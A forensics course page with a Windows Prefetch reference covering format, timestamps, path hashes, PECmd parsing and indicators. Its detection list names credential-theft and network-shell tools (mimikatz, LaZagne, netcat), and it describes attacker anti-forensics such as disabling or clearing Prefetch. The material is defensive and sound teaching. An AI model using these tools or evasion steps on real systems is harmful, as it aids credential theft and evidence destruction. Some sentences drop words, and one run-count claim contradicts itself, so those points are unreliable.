BergssonForensics.

From artifact
to finding.

A practical path through Windows evidence and gaming investigations. Ten focused lessons, every guide, and the complete RedLotus handbooks in one place.

10 Learning modules25 Full references34 Quiz questions
Start the course

How to use the course

Follow the modules in order, or return to any topic through the course contents. Each guide module includes a focused lesson and the full original reference, including its examples, tables, and tools.

Mark a module complete when you have studied it. The quiz covers all ten focused lessons, including the screenshare and gaming case modules. Choose one answer per question, one point per correct answer. At the end, see your score, a topic breakdown, and every answer explained. You can retake it whenever you like.

What you will learn

  • Preserve evidence and distinguish observations from conclusions.
  • Read execution, event, and filesystem artifacts in context.
  • Investigate fileless activity and assess mod behavior.
  • Build a timeline and report findings with clear limitations.
MODULE 01 / 10 Investigation foundations

Start with the evidence

Listen to this lesson3 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

An artifact is a record to interpret. A finding is a conclusion supported by records. Keep those two things separate from the start.

Define the question

Write down what you are trying to establish: whether a program ran, whether a file changed, whether a log was cleared, or whether a mod contains a particular capability. Different artifacts answer different questions. A filename alone cannot establish behavior.

Preserve before you analyze

Record the machine, volume, collection time, timezone, collection method, and source path. Work from collected copies where possible. Calculate a cryptographic hash of collected files so you can check whether the bytes changed. A hash establishes identity and integrity; it does not establish that a file is safe.

On a running system, volatile evidence such as process state and RAM may be lost on shutdown. Collection can itself change the system, so document what you did and follow your acquisition procedure.

Match the artifact to the question

  • Prefetch: execution-related records and referenced paths.
  • Event logs: recorded system activity, subjects, processes, and events.
  • NTFS journals: changes to files and filesystem metadata.
  • Memory and persistence artifacts: runtime state and mechanisms that trigger execution.
  • Mod contents: claimed identity, code structure, and behavior.

Interpret absence carefully

Missing data can reflect configuration, retention, collection gaps, or deletion. “I did not find a record” is different from “the activity did not happen”. Compare multiple independent sources before making a stronger claim.

Keep in your notes

Source → observation → interpretation → confidence → limitation. Another analyst should be able to follow the same evidence to your conclusion.

MODULE 02 / 10 Windows Prefetch

Reconstruct program execution

Listen to this lesson3 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

Prefetch helps you investigate execution even when the original executable is no longer available.

Know what you are looking at

Windows Prefetch files are commonly collected from C:\Windows\Prefetch. A filename generally combines an executable name and a path-derived hash. That hash is different from a cryptographic hash of the executable’s contents. A renamed executable or a different path changes how the artifact needs to be interpreted.

Depending on Windows version and format, a parser can expose execution timestamps, a run count, referenced files, and volume information. Modern formats can retain multiple recent run timestamps, but they are not a complete lifetime history. Format differences and compression make a version-aware parser important.

A practical examination

  1. Collect the Prefetch files and their filesystem metadata.
  2. Parse the copies with a suitable tool such as PECmd. Record tool and format information.
  3. Review the executable name, execution times, run count, paths, and volume references.
  4. Compare those observations with event logs, files, and other execution artifacts.

Deletion does not remove every trace

A Prefetch file may remain after its corresponding executable is deleted. That gives you an execution-related lead, but it does not recover the deleted executable’s bytes or prove that the named program was malicious. Check the path and corroborate the interpretation.

Understand the gaps

Prefetch availability depends on the system’s configuration and history. Disabling Prefetch, clearing files, retention limits, and execution techniques can reduce coverage. A run count belongs to the particular surviving artifact; deleting and recreating that artifact can reset the history represented by the new file.

Practice the distinction

“A matching Prefetch artifact records execution-related data” is supported. “Every action taken by that program is known” is not. Referenced files are context, not a complete audit of all reads and writes.

Read the full reference
Listen to the full reference49 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

§ 01

Introduction & Background

This document provides a structured forensic reference for Windows Prefetch files — one of the most valuable and reliable execution artifacts available to investigators on Windows systems. It is intended for forensic analysts, security researchers, and individuals conducting endpoint examinations including PC checks in environments such as FiveM, gaming anti-cheat investigations, or enterprise incident response.

Prefetch files are generated automatically by Windows to speed up application loading. As a side effect of this performance optimization, Windows maintains a detailed record of which programs have executed, when they ran, how many times they were launched, and what files they accessed during startup. For a forensic investigator, this creates an exceptionally rich evidentiary source that is often overlooked by attackers attempting to cover their tracks.

Unlike many forensic artifacts that require specific logging configurations to be enabled, Prefetch is active by default on all Windows workstation editions. It requires no administrator configuration, generates artifacts automatically, and persists even after the source executable has been deleted — making it one of the most consistently available sources of execution evidence across all Windows environments.

Scope of This Document

This reference covers Prefetch behaviour across Windows XP through Windows 11, noting significant differences between versions. The Prefetch file format has changed across major Windows releases; understanding which format applies to the system under investigation is essential for accurate parsing and interpretation.

§ 02

What Is Prefetch?

Windows Prefetch is a performance feature managed by the SysMain service (formerly SuperFetch in Windows 7 and earlier). When an application launches for the first time, the Windows kernel monitors its activity for the first 10 seconds of execution — specifically, which files and directories the application accesses during that window. This information is recorded in a Prefetch file (.pf) stored in C:\Windows\Prefetch\.

On subsequent launches, Windows uses this cached knowledge to pre-load the required files into memory before the application needs them, reducing perceived load time. The Prefetch file is updated on each execution, maintaining current execution counts and timestamps alongside the file reference data.

Why Prefetch Matters to Investigators
Execution proofA Prefetch file's existence is reliable evidence that the corresponding program ran on this system — no other mechanism creates .pf files
Temporal evidenceLast execution timestamps (up to 8 in Windows 8+) allow investigators to place execution within an attack timeline with high precision
Run frequencyThe embedded run count shows how many times an executable launched — a high count for a suspicious tool may indicate sustained attacker activity
Path reconstructionThe full path of the executable is embedded in the Prefetch file, revealing execution from suspicious locations (Temp, AppData, Downloads)
Post-deletion evidencePrefetch files persist after the source executable is deleted; this is one of the only ways to prove a deleted program ran
Associated file referencesAll files and directories accessed in the first 10 seconds are recorded — this can what data a malicious tool touched
Volume informationDevice paths and volume serial numbers establish which physical drive the executable ran from, including USB devices
When Prefetch Is NOT Available
  • Windows Server editions — Prefetch is disabled by default on Server SKUs; can be manually enabled via registry
  • Systems with SSDs (sometimes) — on older Windows 7/8 systems, Windows automatically disabled Prefetch when it detected an SSD; this behaviour changed in Windows 10
  • Manually disabled — an attacker with admin rights can disable Prefetch via registry; the absence of any .pf files on a workstation is itself a suspicious indicator
  • Prefetch directory cleared — an attacker may delete the contents of C:\Windows\Prefetch\; the directory still exists but contains no .pf files
§ 03

Windows Version Differences

The Prefetch file format has changed significantly across Windows versions. Investigators must identify the correct format version before parsing, as tools calibrated for one version will misparse another. The format version is stored in the file header and can be used to confirm the Windows version that generated the artifact.

Windows VersionFormat VersionMax .pf FilesLast Run TimesCompressionKey Notes
XP / Server 200317 (0x11)1281NoneEarliest format; single timestamp only; simple structure
Vista / Server 200823 (0x17)1281NoneExpanded file reference table; volume info section added
Windows 7 / Server 2008 R223 (0x17)1281NoneSame format as Vista; SysMain service replaces Superfetch
Windows 8 / 8.126 (0x1A)10248NoneMajor upgrade — 8 last run timestamps; 1024 file limit
Windows 10 / 1130 / 31 (0x1E / 0x1F)10248MAM (LZXPRESS Huffman)Files may be compressed; must decompress before parsing; v31 for some editions
Critical Note — Windows 10/11 Compression

Windows 10 and 11 Prefetch files are often compressed using the MAM (LZXPRESS Huffman) algorithm. The compressed file begins with the signature MAM\x04 rather than the standard Prefetch header. Tools like PECmd automatically handle decompression; raw hex editors will not display meaningful data without first decompressing. Always verify whether a file is compressed before manual analysis.

To confirm Prefetch is enabled on a target system, check the registry key below. A value of 3 enables both application Prefetch and boot Prefetch. A value of 0 disables it entirely.

RegistryHKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters
ValueEnablePrefetcher — DWORD: 0 = Disabled, 1 = App only, 2 = Boot only, 3 = Both (default)
§ 04

File Naming Convention

Every Prefetch file follows a precise naming convention that encodes both the executable name and a hash derived from the file's full execution path. Understanding this convention is fundamental to reading Prefetch data correctly — the hash in particular is one of the most forensically significant elements in the filename.

Formatprefetch_naming.txt
# Prefetch filename format:
[EXECUTABLE_NAME]-[PATH_HASH].pf

# Real-world examples:
POWERSHELL.EXE-C4A49B7C.pf
CMD.EXE-4A81B364.pf
MIMIKATZ.EXE-7F3A2C11.pf
PYTHON.EXE-9B3E12A4.pf

# The hash is computed from the FULL PATH of the executable,
# NOT from the file's content — same exe from different locations
# produces different hashes and separate .pf files:

POWERSHELL.EXE-C4A49B7C.pf  ← from C:\Windows\System32\WindowsPowerShell\v1.0\
POWERSHELL.EXE-9D2F1A88.pf  ← from C:\Temp\ (same binary, different path)
POWERSHELL.EXE-3C7B4E22.pf  ← from C:\Users\User\AppData\Roaming\

# This means multiple .pf files for the same executable name
# indicate the program ran from multiple different locations — a major red flag.
The path-based hash is computed using a variant of the djb2 algorithm applied to the uppercase volume path. Multiple .pf files sharing the same executable name but different hashes definitively prove execution from multiple paths.
Forensic Significance of Multiple Hash Files

The existence of multiple Prefetch files for the same executable name is one of the most powerful indicators available during an investigation. Consider: a legitimate installation of PowerShell will always run from the same system path, producing a single consistent hash. If an investigation reveals POWERSHELL.EXE-C4A49B7C.pf and POWERSHELL.EXE-9D2F1A88.pf, the second file proves PowerShell was also executed from a different, potentially suspicious location — even if that copy has since been deleted.

  • Execution from C:\Temp\, C:\Users\[user]\Downloads\, or C:\Users\[user]\AppData\ is immediately suspicious for system utilities
  • Two CMD.EXE hashes may indicate one was a legitimate shell and one was spawned from a malicious parent in a non-standard path
  • Renamed malware often appears as a familiar executable name (e.g., SVCHOST.EXE) but with an unexpected path hash
§ 05

Internal Data Structure

A Prefetch file is a binary structure divided into a header section and a series of data sections. Understanding what each section contains helps investigators know exactly what can be recovered from a .pf file and what questions it can answer.

Binary Structureprefetch_structure.txt
┌─────────────────────────────────────────────────────────┐
│  PREFETCH FILE STRUCTURE (Windows 10 / Format v30)      │
├─────────────────────────────────────────────────────────┤
│  HEADER (84 bytes)                                       │
│  ├── Signature:      "SCCA" (0x53 43 43 41)             │
│  ├── Format Version: 0x1E (30) for Win10                │
│  ├── File Size:      total size of uncompressed file     │
│  ├── Executable Name: UTF-16LE, max 29 chars + null     │
│  ├── Path Hash:       4-byte hash of execution path     │
│  └── [Section offsets and lengths for each data block]  │
├─────────────────────────────────────────────────────────┤
│  SECTION A — File Metrics Array                         │
│  ├── Start time offset of each file load                │
│  ├── Duration of file load                              │
│  └── Reference into filename strings section            │
├─────────────────────────────────────────────────────────┤
│  SECTION B — Trace Chains Array                         │
│  └── Block chain entries for prefetch data layout       │
├─────────────────────────────────────────────────────────┤
│  SECTION C — Filename Strings                           │
│  └── UTF-16LE full paths of every file/dir accessed     │
│      during the first 10 seconds of execution           │
├─────────────────────────────────────────────────────────┤
│  SECTION D — Volume Information                         │
│  ├── Volume device path (e.g. \Device\HarddiskVolume3)  │
│  ├── Volume creation timestamp                          │
│  ├── Volume serial number                               │
│  └── Directory strings accessed on this volume         │
├─────────────────────────────────────────────────────────┤
│  EXECUTION DATA (in header, after base fields)          │
│  ├── Last Run Time[0..7]: 8× FILETIME (Win8+)          │
│  └── Run Count: number of times executed               │
└─────────────────────────────────────────────────────────┘
The SCCA signature (also written as "SCCA" in ASCII) is the magic bytes identifying a valid Prefetch file. Compressed Win10 files start with "MAM" and must be decompressed before the SCCA header becomes visible.
Key Fields and Their Investigative Value
FieldLocationInvestigative Use
Executable NameHeader offset 0x10Name of the program that ran; max 29 UTF-16 characters; truncated if longer
Path HashHeader offset 0x4CIdentifies execution path; compare known-good hash to detect execution from unexpected location
Run CountHeader (version-dependent)Total number of executions recorded; useful for establishing frequency of use
Last Run Time[0]Header (v26+)Most recent execution timestamp (FILETIME / UTC); most important single timestamp
Last Run Time[1-7]Header (v26+ only)Seven previous execution timestamps; enables timeline reconstruction across multiple sessions
File References (Section C)Section CFull paths of every file and directory touched in first 10 seconds; reveals what data the program accessed
Volume Serial NumberSection DIdentifies which physical volume the executable ran from; can match to USB devices or specific drives
Volume Creation TimeSection DWhen the volume was formatted; helps identify external media and correlates with other volume artifacts
§ 06

Timestamps & Run Count

Timestamps are stored in Windows FILETIME format — a 64-bit integer counting 100-nanosecond intervals since January 1, 1601 UTC. They are stored in UTC and must be converted to local time for reporting, keeping the investigator's timezone in mind. All parsing tools handle this conversion automatically.

Timestamp Behaviour by Windows Version

On Windows XP through 7, a single last run timestamp is available. This is updated on each execution, meaning only the most recent run is directly recorded. On Windows 8 and later, up to 8 timestamps are maintained in a rolling queue — the newest execution timestamp is stored in slot [0], pushing older timestamps to slots [1] through [7]. Slot [7] is overwritten when a ninth execution occurs.

Example Outputpemd_timestamp_output.txt
# PECmd output for MIMIKATZ.EXE-7F3A2C11.pf (Windows 10 system)

Executable Name: MIMIKATZ.EXE
Hash:            7F3A2C11
Source Created:  2025-03-14 09:12:44
Run Count:       7

Last Run:        2025-03-18 22:47:03  ← most recent
Last Run -1:     2025-03-18 19:31:11
Last Run -2:     2025-03-17 14:05:58
Last Run -3:     2025-03-16 23:12:44
Last Run -4:     2025-03-15 08:47:30
Last Run -5:     2025-03-14 22:19:07
Last Run -6:     2025-03-14 09:12:51
Last Run -7:     2025-03-14 09:12:44  ← oldest recoverable

Volume Path:     \Device\HarddiskVolume3
Volume Created:  2024-11-02 14:23:01
Volume Serial:   A4B2-9C3E
This output shows mimikatz was executed 7 times over 4 days. The 8 timestamps a clear pattern of nightly use — valuable intelligence for attack timeline reconstruction even if no other logs captured the activity.
Run Count Caveats
  • Run count increments on each execution — a count of 15 for a suspicious tool means it was used repeatedly; count of 1 may indicate testing or a single targeted action
  • Run count does NOT reset when .pf file is deleted and recreated — if an attacker deletes the .pf file, a fresh execution creates a new file with count = 1, potentially underrepresenting total activity
  • Timestamps only record the last 8 runs — if a tool ran 50 times, only the 8 most recent timestamps survive; the run count of 50 is still preserved, revealing more executions than timestamps show
  • Clock skew — always verify system clock accuracy; an attacker who manipulated the system time will produce timestamps that appear inconsistent with other timeline sources
§ 07

Proving Execution

The most fundamental forensic application of Prefetch is proving that a specific program executed on a specific system. This is particularly valuable when other execution evidence (event logs, AV logs, browser history) has been cleared or was never enabled.

A Prefetch file is created or updated only when the corresponding program runs. There is no mechanism by which a .pf file can appear without actual execution — it cannot be created by simply copying an executable to the system, opening it in a file browser, or scanning it with antivirus. The presence of a Prefetch file is therefore one of the most definitive execution indicators available.

Common Investigation Scenarios
A
Suspect Denies Tool Use
A suspect claims they never ran a specific hacking tool. The presence of TOOLNAME.EXE-[HASH].pf with a non-zero run count and a specific timestamp directly contradicts this claim. The embedded execution path confirms where the tool was stored when it ran.
denial contradictionexecution proof
B
Tool Was Deleted
An attacker deletes their tools after use. The executable is gone, the recycle bin is empty. The Prefetch file remains — recording the name, path, run count, and timestamps. Section C file references may also what files the deleted tool accessed.
deleted evidencepost-deletion artifact
C
Establishing Timeline
Multiple Prefetch timestamps across different tools allow investigators to reconstruct an attack timeline — correlating when credentials were harvested, when lateral movement tools ran, and when data was staged for exfiltration, even without any event log data.
timeline reconstructionmulti-tool correlation
D
USB / Removable Media
Volume information in Section D records the device path and serial number of the volume from which the executable ran. If a tool was run directly from a USB drive, the Prefetch file captures the volume serial number of that USB device — correlatable with USB device logs.
removable mediavolume tracking
§ 08

Deleted Program Evidence

One of the most powerful forensic properties of Prefetch is its persistence after the source executable is deleted. When an attacker removes their tools — whether by deleting files directly, emptying the Recycle Bin, or running cleanup utilities — the corresponding Prefetch files typically remain untouched in C:\Windows\Prefetch\. This is because most cleanup routines do not specifically target the Prefetch directory.

What Remains After Deletion
  • The .pf file itself — name, hash, run count, all timestamps
  • The full execution path of the deleted executable, embedded in the file header
  • The list of files accessed during the first 10 seconds — may include documents opened, DLLs loaded, or configuration files touched
  • The volume serial number from which the deleted program ran — useful for USB attribution
Cross-Referencing with Other Artifacts

When a Prefetch file indicates execution of a program that is no longer present on disk, investigators should cross-reference with complementary artifacts to build a complete picture:

Complementary ArtifactWhat It Adds
Recycle Bin ($I files)If the file was deleted via Recycle Bin, $I files record the original path, file size, and deletion timestamp
MFT (Master File Table)Even after deletion, MFT records may persist with file metadata including MAC timestamps and file size
LNK files (Shortcuts)If the user created a shortcut to the tool, the .lnk file persists and contains path, timestamps, and volume information
ShimCache / AmCacheRecords execution of the binary with SHA1 hash in AmCache — even after deletion, the hash may identify the exact file
Windows Event Logs (EID 4688)If process auditing was enabled, the process creation event may record the full command line of the deleted tool
Thumbnail CacheIf the deleted file had a thumbnail generated (images, certain documents), the cached thumbnail may persist in %APPDATA%\Microsoft\Windows\Explorer\
§ 09

Execution Path Analysis

The execution path embedded in each Prefetch file is one of its most forensically revealing elements. Legitimate system programs consistently run from consistent, known paths. Any deviation from expected paths is immediately suspicious and warrants investigation.

Suspicious Execution Paths
Analysispath_analysis.txt
# LEGITIMATE paths for common system binaries:
C:\Windows\System32\cmd.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\net.exe

# SUSPICIOUS paths — same binary names, wrong locations:
C:\Temp\powershell.exe              ← attacker-dropped copy
C:\Users\User\AppData\Roaming\cmd.exe ← masquerading
C:\Users\User\Downloads\update.exe  ← user-downloaded payload
C:\ProgramData\Microsoft\svchost.exe ← svchost outside System32
C:\Windows\Temp\wscript.exe         ← copy to evade path monitoring

# TOOL NAMES that should NEVER appear in Prefetch on a clean system:
MIMIKATZ.EXE      ← credential dumping
PROCDUMP.EXE      ← process memory dumping (legitimate but abused)
PSEXEC.EXE        ← remote execution (legitimate but frequently abused)
WCEWORLD.EXE      ← Windows Credential Editor
WINCRED.EXE       ← credential tool
COBALTRIKE*.EXE   ← C2 framework
METERPRETER.EXE   ← Metasploit payload
NMAP.EXE          ← network scanning
NC.EXE            ← netcat
LAZAGNE.EXE       ← credential harvesting
Note that attackers frequently rename their tools to blend with legitimate software names. A Prefetch file named CMD.EXE with a non-standard path hash may represent a renamed payload rather than the legitimate command interpreter.
Hash Comparison Technique

For known system binaries, investigators can compute the expected Prefetch hash for the standard installation path and compare it against hashes observed on the target system. A mismatch for binaries like POWERSHELL.EXE, CMD.EXE, or SVCHOST.EXE proves execution from a non-standard location — a reliable indicator of masquerading or attacker tool staging.

§ 10

Accessed Files & Volume Information

Section C of each Prefetch file contains the full paths of every file and directory the executable accessed during the first 10 seconds of its run. This is often the most information-dense section for forensic investigation — it reveals not just that a program ran, but what it did when it ran.

What Section C File References Reveal
  • DLLs loaded — reveals which libraries a tool depends on; unusual DLLs (keyloggers, network capture libraries) are immediately suspicious
  • Configuration files read — credential dumpers often read SAM, SYSTEM, SECURITY hive files; these references appear in Section C
  • Output files written — if a tool wrote output to disk in the first 10 seconds, the path appears in file references
  • Network share access — UNC paths accessed during execution lateral movement targets
  • Staging directories — documents or archives created in temp directories during the 10-second window are recorded
Example — Credential Dumper File References
Section C Outputmimikatz_references.txt
# File references from MIMIKATZ.EXE-7F3A2C11.pf (Section C)
# These are files/directories accessed in first 10 seconds of execution:

\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\LSASS.EXE         ← LSASS access
\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\NTDLL.DLL
\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\KERNEL32.DLL
\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\WDIGEST.DLL       ← credential provider
\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\KERBEROS.DLL      ← kerberos module
\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\MSV1_0.DLL        ← NTLM auth module
\DEVICE\HARDDISKVOLUME3\USERS\ATTACKER\DESKTOP\CREDS.TXT   ← output file

# Volume information (Section D):
Volume Path:    \Device\HarddiskVolume3
Serial Number:  A4B2-9C3E
Created:        2024-11-02 14:23:01
The file references confirm this was a credential dumper — access to lsass.exe, wdigest.dll, kerberos.dll, and msv1_0.dll is the fingerprint of mimikatz's sekurlsa module. The output file path reveals where stolen credentials were saved.
§ 11

Artifact Locations & Collection

Prefetch artifacts are primarily located in a single directory but must be collected carefully to preserve all associated metadata. Always work from a forensic copy — never parse Prefetch files directly on a live system without first imaging them, as some tools may modify file access timestamps.

PrimaryC:\Windows\Prefetch\*.pf
RegistryHKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters
Layout FileC:\Windows\Prefetch\Layout.ini — application launch order used by disk optimizer
Ag AppLaunchC:\Windows\Prefetch\Ag*.db — ReadyBoost / SuperFetch database (supplementary)
PriorityArtifactLocationCollection Method
P1All .pf filesC:\Windows\Prefetch\Copy entire directory; preserve NTFS timestamps with robocopy /copyall or forensic imager
P1Prefetch file NTFS timestampsMFT records for each .pf fileNTFS $Created time = first execution of that program; $Modified = most recent execution
P2Registry EnablePrefetcherHKLM\SYSTEM\...\PrefetchParametersConfirms Prefetch was enabled; value of 0 with no .pf files may indicate deliberate disabling
P2Layout.iniC:\Windows\Prefetch\Layout.iniContains application execution order; supplements .pf file analysis for boot and login sequences
P3Volume Shadow CopiesVSS snapshotsPrevious versions of .pf files may exist in VSS; recovers deleted .pf files or earlier run counts
P3Memory (live systems)RAMPrefetch data may be in memory before being flushed to disk; RAM capture can recover recent executions
NTFS Timestamp Note

The NTFS $Created timestamp on a .pf file records the first time that executable ever ran on this system — because the Prefetch file is created on first execution. The $Modified timestamp reflects the most recent execution. These NTFS timestamps are separate from, and complementary to, the execution timestamps embedded inside the .pf file itself. Both sets of timestamps should be collected and compared.

§ 12

Parsing & Analysis

Prefetch files are binary structures that require dedicated parsing tools. The following workflows cover the most common analysis scenarios from a basic triage through to a full batch investigation with timeline export.

PECmd — Standard Analysis Workflow
PowerShell / CMDpecmd_workflow.ps1
# PECmd by Eric Zimmerman — most comprehensive Prefetch parser
# https://ericzimmerman.github.io

# Parse a single .pf file (detailed output)
PECmd.exe -f "C:\Windows\Prefetch\MIMIKATZ.EXE-7F3A2C11.pf"

# Parse entire Prefetch directory — output to CSV for timeline analysis
PECmd.exe -d "C:\Windows\Prefetch" --csv "C:\Output" --csvf prefetch_results.csv

# Parse offline (from forensic copy) with quiet output
PECmd.exe -d "E:\ForensicCopy\Windows\Prefetch" --csv "C:\Output" -q

# Include Section C file references in output (verbose — large files)
PECmd.exe -d "C:\Windows\Prefetch" --csv "C:\Output" --json "C:\Output"

# Sort output by last run time (newest first) — useful for triage
PECmd.exe -d "C:\Windows\Prefetch" --csv "C:\Output" --csvf triage.csv
# Then in Timeline Explorer: sort by LastRun descending

# Key fields in CSV output:
#  SourceFilename  ExecutableName  Hash  Size  RunCount
#  LastRun  LastRun-1 ... LastRun-7  SourceCreated  SourceModified
#  Volume0Name  Volume0Serial  Volume0Created
PECmd automatically handles Windows 10/11 MAM compression. The --csv flag produces timeline-ready output that can be loaded directly into Timeline Explorer or imported into Excel/Splunk for correlation with other artifacts.
Manual Hex Analysis
Pythonmanual_parse.py
# Quick manual header check — confirm signature and format version
import struct

with open('MIMIKATZ.EXE-7F3A2C11.pf', 'rb') as f:
    data = f.read()

# Check for MAM compression (Windows 10/11)
if data[:3] == b'MAM':
    print("File is MAM-compressed — decompress first")
else:
    sig     = data[0:4]         # should be b'SCCA'
    version = struct.unpack('<I', data[4:8])[0]   # format version
    filesize= struct.unpack('<I', data[8:12])[0]  # uncompressed size
    exe_name= data[0x10:0x4A].decode('utf-16-le').rstrip('\x00')
    path_hash = hex(struct.unpack('<I', data[0x4C:0x50])[0])

    print(f"Signature:  {sig}")       # b'SCCA'
    print(f"Version:    {version}")    # 17/23/26/30/31
    print(f"Exe Name:   {exe_name}")
    print(f"Path Hash:  {path_hash}")
Useful for quick verification without installing tools, or for validating parser output. Full manual parsing of Section C requires understanding version-specific offsets for file metric arrays.
§ 13

Indicators of Compromise

The following indicators, derived from Prefetch analysis, represent reliable signals of malicious activity. Each can be identified through standard Prefetch parsing without additional tooling.

IndicatorSeverityDetection MethodNotes
Prefetch file for known offensive tool (mimikatz, meterpreter, laZagne, etc.)CRITICALFilename match against known-bad listConfirms tool ran; timestamp shows when; run count shows frequency
System binary .pf file with unexpected path hash (e.g. second POWERSHELL.EXE-*.pf)CRITICALMultiple .pf files with same executable nameProves execution from a non-standard path; often indicates attacker-dropped copy
Executable ran from Temp, Downloads, AppData, or ProgramDataHIGHExecution path in .pf headerSystem tools should never run from user-writable paths; investigate path and parent process
Prefetch file present for executable no longer on diskHIGHCompare .pf list against live filesystemTool was used and deleted; file references may what it accessed
High run count on a suspicious or unusual executableHIGHRunCount fieldRun count of 20+ on an unknown tool indicates sustained use, not a one-time accident
Execution timestamps correlated across multiple offensive tools within short windowCRITICALCross-tool timestamp comparisonTools running in sequence (e.g. nmap → psexec → mimikatz) reconstructs attack chain
Prefetch directory empty or missing on a workstationHIGHDirectory inspectionPrefetch is on by default on workstations; empty directory suggests deliberate clearing
EnablePrefetcher registry key set to 0HIGHRegistry checkPrefetch intentionally disabled; often done to prevent execution logging
Section C references to SAM, SECURITY, or NTDS.ditCRITICALFile references in .pf Section CAccess to credential stores; confirms credential dumping activity even without log data
Section C references to UNC paths or network sharesHIGHFile references in .pf Section CMay indicate lateral movement staging; attacker connecting to remote shares during tool execution
Volume serial in Section D matches known USB deviceMEDIUMVolume serial number in Section DCorrelate with USB device logs (Event ID 20001, setupapi.log) to identify the specific device
.pf NTFS creation time inconsistent with execution timestamps inside fileMEDIUMCompare NTFS $Created vs internal timestampsPossible timestamp manipulation; investigate with additional timeline sources
§ 14

Anti-Forensics Against Prefetch

Sophisticated attackers are aware of Prefetch and may take steps to defeat it. Understanding these counter-techniques helps investigators recognize when Prefetch has been tampered with and how to compensate using other artifact sources.

01
Disabling Prefetch
Setting EnablePrefetcher = 0 in the registry prevents new .pf files from being created. This requires admin rights. The absence of any Prefetch files on a workstation is itself an indicator, and the registry key modification may appear in security logs. Existing .pf files from before disabling are preserved.
registry tamperingprevention
02
Clearing the Prefetch Directory
Deleting all files in C:\Windows\Prefetch\ removes existing execution evidence. Requires admin rights. The deletion event may appear in Windows event logs, and VSS snapshots may contain earlier copies. After clearing, new .pf files begin accumulating immediately — gaps in the timeline become obvious.
evidence destructionVSS recovery
03
Timestamp Manipulation
Tools like Timestomp can modify NTFS timestamps on .pf files to obscure when a program ran. However, the execution timestamps embedded inside the binary .pf structure are not NTFS attributes and cannot be modified by standard timestamp manipulation tools — only by hex-editing the .pf file itself, which risks corrupting it.
timestompinginternal timestamps
04
Tool Renaming
Renaming a malicious executable (e.g., mimikatz.exe → svcupdate.exe) changes the Prefetch filename and makes it less obvious on sight. However, Section C file references still the DLLs and resources the tool accessed — a credential dumper still loads the same credential provider DLLs regardless of its own filename.
masqueradingname evasion
05
Running from RAM / Memory Only
Techniques like process injection or reflective loading can execute code without creating a process with its own executable path — meaning no Prefetch file is generated for the injected payload itself. The host process (e.g., explorer.exe) will still have its own Prefetch file, but it will not the injected code's origin.
process injectionno .pf generated
06
Prefetch File Editing
A highly sophisticated attacker with admin rights could manually hex-edit a .pf file to modify run counts, timestamps, or file references. This is rare in practice due to complexity and risk of corruption. Investigators can detect this by comparing internal checksums (if present) or noting internal timestamp inconsistencies with other corroborating evidence.
file tamperingadvanced
§ 15

Tools Reference

ToolTypePrimary UseSource
PECmdCLI ParserMost comprehensive Prefetch parser; handles all versions including Win10/11 MAM compression; CSV export for timeline analysisFree — ericzimmerman.github.io
Timeline ExplorerViewer / CorrelatorLoad PECmd CSV output alongside other artifact CSVs; sort, filter, and correlate execution events across timelineFree — ericzimmerman.github.io
WinPrefetchViewGUI ParserLightweight GUI for quick Prefetch review; less detail than PECmd but faster for spot-checks on live systemsFree — nirsoft.net
KAPEArtifact CollectorAutomated collection of Prefetch directory, registry keys, and complementary artifacts in a single acquisition passFree — ericzimmerman.github.io
AutopsyFull Forensic SuiteParses Prefetch as part of full disk image analysis; integrates with timeline view and other artifact modulesOpen source — sleuthkit.org
Volatility 3Memory Analysiswindows.prefetch plugin extracts Prefetch data from RAM dumps; useful for recently executed programs before disk flushOpen source — volatilityfoundation.org
CyberChefData AnalysisLZXPRESS Huffman decompression of MAM-compressed Prefetch files for manual hex analysis; also FILETIME conversionFree — gchq.github.io/CyberChef
python-prefetchPython LibraryOpen source Python library for programmatic Prefetch parsing; useful for custom scripts and bulk analysis automationOpen source — GitHub: PoorBillionaire
RegRipperRegistry ParserParse PrefetchParameters registry key to confirm enabled/disabled status; includes prefetch.pl pluginOpen source — GitHub: keydet89
FTK ImagerAcquisitionCollect Prefetch directory from live system or forensic image while preserving NTFS timestamps and metadataFree — exterro.com
§ 16

Conclusion

Windows Prefetch is one of the most reliably available and consistently informative execution artifacts in Windows forensics. Generated automatically without any administrator configuration, it records execution evidence that persists after log clearing, executable deletion, and many common anti-forensics operations. For investigators working in environments where event logging was never configured, or where an attacker has cleared logs, Prefetch may be the primary — or only — source of execution timeline data.

The combination of execution timestamps (up to 8 per program), run counts, execution paths, and Section C file references gives Prefetch a depth that few single artifacts can match. A single .pf file can confirm not just that a tool ran, but when it ran, how many times, from what location, what credential stores it accessed, and whether it wrote output to disk — all from a file the attacker likely did not think to remove.

Effective Prefetch investigation requires attention to version differences across Windows editions, awareness of the anti-forensic techniques attackers use against it, and systematic correlation with complementary artifacts — ShimCache, AmCache, LNK files, MFT records, and Windows event logs — to build the most complete possible picture of execution activity on a system.

Bergsson Forensics — Investigation Priority

In any PC check or endpoint investigation, Prefetch should be collected in the first pass alongside event logs. Use PECmd to parse the entire Prefetch directory, export to CSV, and sort by LastRun descending for immediate triage. Any .pf files for offensive tools, any duplicate executable name hashes, or any suspicious execution paths should be escalated immediately. Cross-reference timestamps against Windows Security log (EID 4688) and PowerShell Operational log for the same time windows to build corroborating evidence. This technique set maps to MITRE ATT&CK T1083 (File and Directory Discovery) and supports detection of T1059 (Command and Scripting Interpreter) and T1055 (Process Injection) via correlated artifact analysis.

MODULE 03 / 10 Windows Event Logs

Read the system’s recorded activity

Listen to this lesson3 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

An event ID is useful only alongside its provider, channel, timestamp, and event fields.

Read the whole record

Collect relevant .evtx logs and note their channels and retention settings. Examine the provider, event ID, timestamp, account or subject, process information, and recorded action. Preserve the original record and use exported views for analysis.

Three useful leads

